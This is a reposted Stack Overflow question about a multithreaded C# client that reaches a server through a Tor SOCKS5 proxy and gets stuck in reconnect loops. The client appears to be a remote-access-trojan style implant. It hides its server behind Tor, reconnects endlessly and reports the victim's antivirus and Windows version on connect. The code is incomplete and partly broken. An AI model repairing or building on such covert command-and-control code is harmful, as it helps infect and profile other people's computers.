'Multithread Proxy Endless Loop C# Tor
I use socks5 and a proxy to access my own server through Tor services. My program is multithread and has a client-server arhitecture.
When I tried to connect to the server directly using Destination IP and Destination Port it worked like a charm, but after I connect to the Tor Proxy it behaves strange, it goes on endless loops or I get A connect request was made on an already connected socket depending on where I chose to connect to the proxy in code.
The flow is:
MainThread
Initial Form.cs: ConnectLoop() -> Client Class: Connect() -> CreateProxied()/Socks5 Tor Proxy Code -> Initial Form.cs: GetData() -> EventType.Connected case -> EventType.Disconnected case -> CoonectLoop() -> repeat from step 1
Client Class
public class Client : Common
{
private readonly ManualResetEvent sendPending = new ManualResetEvent(false);
private readonly SafeQueue<byte[]> sendQueue = new SafeQueue<byte[]>();
private volatile bool _Connecting;
private Socket s;
public TcpClient client;
private Thread receiveThread;
private Thread sendThread;
public bool Connected => client != null &&
client.Client != null &&
client.Client.Connected;
public bool Connecting => _Connecting;
private void setTorProxy(string proxyAdress, ushort proxyPort, string userName = "", string password = "")
{
IPAddress proxyIP = null;
byte[] request = new byte[257];
byte[] response = new byte[257];
ushort nIndex;
try
{
proxyIP = IPAddress.Parse(proxyAdress);
}
catch (FormatException)
{ // get the IP address
proxyIP = Dns.GetHostByAddress(proxyAdress).AddressList[0];
}
// Parse destAddress (assume it in string dotted format "212.116.65.112" )
try
{
//destIP = IPAddress.Parse(destAddress);
}
catch (FormatException)
{
// wrong assumption its in domain name format "www.microsoft.com"
}
IPEndPoint proxyEndPoint = new IPEndPoint(proxyIP, proxyPort);
// open a TCP connection to SOCKS server...
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(proxyEndPoint);
//this.client.Client.AddressFamily = AddressFamily.InterNetwork;
//this.client.Client.SocketType = SocketType.Stream;
//this.client.Client.ProtocolType = ProtocolType.Tcp;
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
request[nIndex++] = 0x01; // 2 Authentication methods are in packet...
request[nIndex++] = 0x00; // NO AUTHENTICATION REQUIRED
//request[nIndex++] = 0x02; // USERNAME/PASSWORD
// Send the authentication negotiation request...
s.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
int nGot = s.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] == 0xFF)
{ // No authentication method was accepted close the socket.
s.Close();
throw new ConnectionException("None of the authentication method was accepted by proxy server.");
}
byte[] rawBytes;
if (/*response[1]==0x02*/false)
{//Username/Password Authentication protocol
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
// add user name
request[nIndex++] = (byte)userName.Length;
rawBytes = Encoding.Default.GetBytes(userName);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
// add password
request[nIndex++] = (byte)password.Length;
rawBytes = Encoding.Default.GetBytes(password);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
// Send the Username/Password request
s.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
nGot = s.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] != 0x00)
throw new ConnectionException("Bad Usernaem/Password.");
}
// This version only supports connect command.
// UDP and Bind are not supported.
// Send connect request now...
//nIndex = 0;
//request[nIndex++] = 0x05; // version 5.
//request[nIndex++] = 0x01; // command = connect.
//request[nIndex++] = 0x00; // Reserve = must be 0x00
}
private void ReceiveThreadFunction(string ip, int port)
{
try
{
//client.Connect(ip, port);
_Connecting = false;
sendThread = new Thread(() => { SendLoop(0, client, sendQueue, sendPending); });
sendThread.IsBackground = true;
sendThread.Start();
ReceiveLoop(0, client, receiveQueue, MaxMessageSize);
}
catch (SocketException exception)
{
Logger.Log("Client Recv: failed to connect to ip=" + ip + " port=" + port + " reason=" + exception);
receiveQueue.Enqueue(new Message(0, EventType.Disconnected, null));
}
catch (Exception exception)
{
Logger.LogError("Client Recv Exception: " + exception);
}
sendThread?.Interrupt();
_Connecting = false;
client.Close();
}
private void DebugHTTPRequest(TcpClient client)
{
string result = string.Empty;
using (var stream = client.GetStream())
{
client.SendTimeout = 500;
client.ReceiveTimeout = 1000;
// Send request headers
var builder = new StringBuilder();
builder.AppendLine("GET /?scope=images&nr=1 HTTP/1.1");
builder.AppendLine("Host: xoembwt22tmxseask2qyuudbxoubiuafw54klkwuktvv6bxbhrdffqyd.onion");
//builder.AppendLine("Content-Length: " + data.Length); // only for POST request
builder.AppendLine("Connection: close");
builder.AppendLine();
var header = Encoding.ASCII.GetBytes(builder.ToString());
stream.Write(header, 0, header.Length);
// Send payload data if you are POST request
//await stream.WriteAsync(data, 0, data.Length);
// receive data
using (var memory = new MemoryStream())
{
stream.CopyTo(memory);
memory.Position = 0;
var data = memory.ToArray();
var index = BinaryMatch(data, Encoding.ASCII.GetBytes("\r\n\r\n")) + 4;
var headers = Encoding.ASCII.GetString(data, 0, index);
memory.Position = index;
if (headers.IndexOf("Content-Encoding: gzip") > 0)
{
using (GZipStream decompressionStream = new GZipStream(memory, CompressionMode.Decompress))
using (var decompressedMemory = new MemoryStream())
{
decompressionStream.CopyTo(decompressedMemory);
decompressedMemory.Position = 0;
result = Encoding.UTF8.GetString(decompressedMemory.ToArray());
}
}
else
{
result = Encoding.UTF8.GetString(data, index, data.Length - index);
//result = Encoding.GetEncoding("gbk").GetString(data, index, data.Length - index);
}
}
//Debug.WriteLine(result);
// return result;
}
}
private static int BinaryMatch(byte[] input, byte[] pattern)
{
int sLen = input.Length - pattern.Length + 1;
for (int i = 0; i < sLen; ++i)
{
bool match = true;
for (int j = 0; j < pattern.Length; ++j)
{
if (input[i + j] != pattern[j])
{
match = false;
break;
}
}
if (match)
{
return i;
}
}
return -1;
}
private static TcpClient CreateProxied(string proxyAdress, string DestinationIP)
{
var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
byte[] request = new byte[257];
byte[] response = new byte[257];
ushort nIndex;
ushort proxyPort = 9150;
IPAddress proxyIP;
try
{
proxyIP = IPAddress.Parse(proxyAdress);
}
catch (FormatException)
{ // get the IP address
proxyIP = Dns.GetHostByAddress(proxyAdress).AddressList[0];
}
IPEndPoint proxyEndPoint = new IPEndPoint(proxyIP, proxyPort);
socket.Connect(proxyEndPoint);
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
request[nIndex++] = 0x01; // 2 Authentication methods are in packet...
request[nIndex++] = 0x00; // NO AUTHENTICATION REQUIRED
//request[nIndex++] = 0x02; // USERNAME/PASSWORD
// Send the authentication negotiation request...
socket.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
int nGot = socket.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] == 0xFF)
{ // No authentication method was accepted close the socket.
socket.Close();
throw new ConnectionException("None of the authentication method was accepted by proxy server.");
}
return new TcpClient
{
Client = socket
};
}
public void Connect(string ip, int port)
{
if (Connecting || Connected) return;
client = CreateProxied("127.0.0.1", "");
client.NoDelay = NoDelay;
client.SendTimeout = SendTimeout;
receiveQueue = new ConcurrentQueue<Message>();
sendQueue.Clear();
receiveThread = new Thread(() => { ReceiveThreadFunction(ip, port); });
receiveThread.IsBackground = true;
receiveThread.Start();
}
public void Disconnect()
{
if (Connecting || Connected)
{
client.Close();
receiveThread?.Join();
sendQueue.Clear();
client = null;
}
}
public bool Send(byte[] data)
{
if (Connected)
{
if (data.Length <= MaxMessageSize)
{
sendQueue.Enqueue(data);
sendPending.Set();
return true;
}
Logger.LogError("Client.Send: message too big: " + data.Length + ". Limit: " + MaxMessageSize);
return false;
}
Logger.LogWarning("Client.Send: not connected!");
return false;
}
}
Connect Loop in Initial Form.cs
#region Connect Loop
//Connect to server, then loop data receiving
private async void ConnectLoop()
{
while (!Networking.MainClient.Connected)
{
await Task.Delay(50);
Networking.MainClient.Connect(ClientSettings.DNS, Port);
}
while (Networking.MainClient.Connected)
{
await Task.Delay(Interval);
GetData();
}
ConnectLoop();
}
#endregion Connect Loop
GetData in Initial Form.cs
private void GetData()
{
Message Data;
while (Networking.MainClient.GetNextMessage(out Data))
switch (Data.eventType)
{
case EventType.Connected:
Console.WriteLine("Connected");
List<byte> ToSend = new List<byte>();
ToSend.Add((int) DataType.ClientTag);
ToSend.AddRange(Encoding.ASCII.GetBytes(ClientSettings.ClientTag));
Networking.MainClient.Send(ToSend.ToArray());
ToSend.Clear();
ToSend.Add((int) DataType.AntiVirusTag);
ToSend.AddRange(Encoding.ASCII.GetBytes(ComputerInfo.GetAntivirus()));
Networking.MainClient.Send(ToSend.ToArray());
string OperatingSystemUnDetailed = ComputerInfo.GetWindowsVersion()
.Remove(ComputerInfo.GetWindowsVersion().IndexOf('('));
ToSend.Clear();
ToSend.Add((int) DataType.WindowsVersionTag);
ToSend.AddRange(Encoding.ASCII.GetBytes(OperatingSystemUnDetailed));
Networking.MainClient.Send(ToSend.ToArray());
break;
case EventType.Disconnected:
break;
case EventType.Data:
HandleData(Data.data);
break;
}
}
Prototype Code for Tor Proxy SOCKS5#
public class ConnectionException : ApplicationException
{
public ConnectionException(string message)
: base(message)
{
}
}
/// <summary>
/// Provides sock5 functionality to clients (Connect only).
/// </summary>
public class SocksProxy
{
private SocksProxy() { }
#region ErrorMessages
private static string[] errorMsgs = {
"Operation completed successfully.",
"General SOCKS server failure.",
"Connection not allowed by ruleset.",
"Network unreachable.",
"Host unreachable.",
"Connection refused.",
"TTL expired.",
"Command not supported.",
"Address type not supported.",
"Unknown error."
};
#endregion
public static Socket ConnectToSocks5Proxy(string proxyAdress, ushort proxyPort, string destAddress, ushort destPort,
string userName, string password)
{
IPAddress destIP = null;
IPAddress proxyIP = null;
byte[] request = new byte[257];
byte[] response = new byte[257];
ushort nIndex;
try
{
proxyIP = IPAddress.Parse(proxyAdress);
}
catch (FormatException)
{ // get the IP address
proxyIP = Dns.GetHostByAddress(proxyAdress).AddressList[0];
}
// Parse destAddress (assume it in string dotted format "212.116.65.112" )
try
{
destIP = IPAddress.Parse(destAddress);
}
catch (FormatException)
{
// wrong assumption its in domain name format "www.microsoft.com"
}
IPEndPoint proxyEndPoint = new IPEndPoint(proxyIP, proxyPort);
// open a TCP connection to SOCKS server...
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(proxyEndPoint);
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
request[nIndex++] = 0x01; // 2 Authentication methods are in packet...
request[nIndex++] = 0x00; // NO AUTHENTICATION REQUIRED
//request[nIndex++] = 0x02; // USERNAME/PASSWORD
// Send the authentication negotiation request...
s.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
int nGot = s.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] == 0xFF)
{ // No authentication method was accepted close the socket.
s.Close();
throw new ConnectionException("None of the authentication method was accepted by proxy server.");
}
byte[] rawBytes;
if (/*response[1]==0x02*/false)
{//Username/Password Authentication protocol
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
// add user name
request[nIndex++] = (byte)userName.Length;
rawBytes = Encoding.Default.GetBytes(userName);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
// add password
request[nIndex++] = (byte)password.Length;
rawBytes = Encoding.Default.GetBytes(password);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
// Send the Username/Password request
s.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
nGot = s.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] != 0x00)
throw new ConnectionException("Bad Usernaem/Password.");
}
// This version only supports connect command.
// UDP and Bind are not supported.
// Send connect request now...
nIndex = 0;
request[nIndex++] = 0x05; // version 5.
request[nIndex++] = 0x01; // command = connect.
request[nIndex++] = 0x00; // Reserve = must be 0x00
if (destIP != null)
{// Destination adress in an IP.
switch (destIP.AddressFamily)
{
case AddressFamily.InterNetwork:
// Address is IPV4 format
request[nIndex++] = 0x01;
rawBytes = destIP.GetAddressBytes();
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
break;
case AddressFamily.InterNetworkV6:
// Address is IPV6 format
request[nIndex++] = 0x04;
rawBytes = destIP.GetAddressBytes();
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
break;
}
}
else
{// Dest. address is domain name.
request[nIndex++] = 0x03; // Address is full-qualified domain name.
request[nIndex++] = Convert.ToByte(destAddress.Length); // length of address.
rawBytes = Encoding.Default.GetBytes(destAddress);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
}
// using big-edian byte order
byte[] portBytes = BitConverter.GetBytes(destPort);
for (int i = portBytes.Length - 1; i >= 0; i--)
request[nIndex++] = portBytes[i];
// send connect request.
s.Send(request, nIndex, SocketFlags.None);
s.Receive(response); // Get variable length response...
var str = System.Text.Encoding.Default.GetString(response);
if ((byte)response[1] != 0x00)
{
//throw new ConnectionException(errorMsgs[response[1]]);
}
var wha = s.Connected;
// Success Connected..
return s;
}
public static Socket ConnectToSocks5Proxy(string proxyAdress, ushort proxyPort, string userName="", string password="")
{
IPAddress destIP = null;
IPAddress proxyIP = null;
byte[] request = new byte[257];
byte[] response = new byte[257];
ushort nIndex;
try
{
proxyIP = IPAddress.Parse(proxyAdress);
}
catch (FormatException)
{ // get the IP address
proxyIP = Dns.GetHostByAddress(proxyAdress).AddressList[0];
}
// Parse destAddress (assume it in string dotted format "212.116.65.112" )
try
{
//destIP = IPAddress.Parse(destAddress);
}
catch (FormatException)
{
// wrong assumption its in domain name format "www.microsoft.com"
}
IPEndPoint proxyEndPoint = new IPEndPoint(proxyIP, proxyPort);
// open a TCP connection to SOCKS server...
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(proxyEndPoint);
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
request[nIndex++] = 0x01; // 2 Authentication methods are in packet...
request[nIndex++] = 0x00; // NO AUTHENTICATION REQUIRED
//request[nIndex++] = 0x02; // USERNAME/PASSWORD
// Send the authentication negotiation request...
s.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
int nGot = s.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] == 0xFF)
{ // No authentication method was accepted close the socket.
s.Close();
throw new ConnectionException("None of the authentication method was accepted by proxy server.");
}
byte[] rawBytes;
if (/*response[1]==0x02*/false)
{//Username/Password Authentication protocol
nIndex = 0;
request[nIndex++] = 0x05; // Version 5.
// add user name
request[nIndex++] = (byte)userName.Length;
rawBytes = Encoding.Default.GetBytes(userName);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
// add password
request[nIndex++] = (byte)password.Length;
rawBytes = Encoding.Default.GetBytes(password);
rawBytes.CopyTo(request, nIndex);
nIndex += (ushort)rawBytes.Length;
// Send the Username/Password request
s.Send(request, nIndex, SocketFlags.None);
// Receive 2 byte response...
nGot = s.Receive(response, 2, SocketFlags.None);
if (nGot != 2)
throw new ConnectionException("Bad response received from proxy server.");
if (response[1] != 0x00)
throw new ConnectionException("Bad Usernaem/Password.");
}
// This version only supports connect command.
// UDP and Bind are not supported.
// Send connect request now...
nIndex = 0;
request[nIndex++] = 0x05; // version 5.
request[nIndex++] = 0x01; // command = connect.
request[nIndex++] = 0x00; // Reserve = must be 0x00
return s;
}
}
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
